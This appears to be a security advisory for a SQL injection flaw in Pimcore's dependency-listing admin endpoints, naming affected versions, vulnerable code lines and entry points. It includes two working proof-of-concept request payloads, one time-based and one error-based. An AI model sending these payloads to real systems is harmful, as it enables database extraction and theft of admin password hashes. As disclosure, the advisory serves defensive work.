Affected packages
• Packagist pimcore/pimcore: <= 11.5.14.1 (no fix yet)
• Packagist pimcore/pimcore: >= 12.0.0, < 12.3.3 → fixed in 12.3.3
Description
The filter query parameter in the dependency listing endpoints is JSON-decoded and the value field is concatenated directly into RLIKE clauses without sanitization or parameterized queries.
Affected code in models/Dependency/Dao.php:
• getFilterRequiresByPath() lines 90, 95, 100
• getFilterRequiredByPath() lines 148, 153, 158
All 6 locations use direct string concatenation like:
"AND LOWER(CONCAT(o.path, o.key)) RLIKE '".$value."'"
Note that $orderBy and $orderDirection in the same methods (lines 75-81) ARE properly whitelist-validated, but $value has zero sanitization.
Entry points (pimcore/admin-ui-classic-bundle ElementController.php):
• GET /admin/element/get-requires-dependencies (line 654)
• GET /admin/element/get-required-by-dependencies (line 714)
The controller JSON-decodes the filter query param and passes $filter['value'] straight to the Dao without any escaping.
PoC (time-based blind):
GET /admin/element/get-requires-dependencies?id=1&elementType=document&filter=[{"type":"string","value":"x' OR SLEEP(5)#"}]
If vulnerable, the response is delayed by ~15 seconds (SLEEP runs 3 times, once per UNION arm in the inner subquery).
PoC (error-based extraction):
GET /admin/element/get-requires-dependencies?id=1&elementType=document&filter=[{"type":"string","value":"x' OR extractvalue(1,concat(0x7e,(SELECT version())))#"}]
Returns the MySQL version string in the error response.
Requires admin authentication. An attacker with admin panel access can extract the full database including password hashes of other admin users.
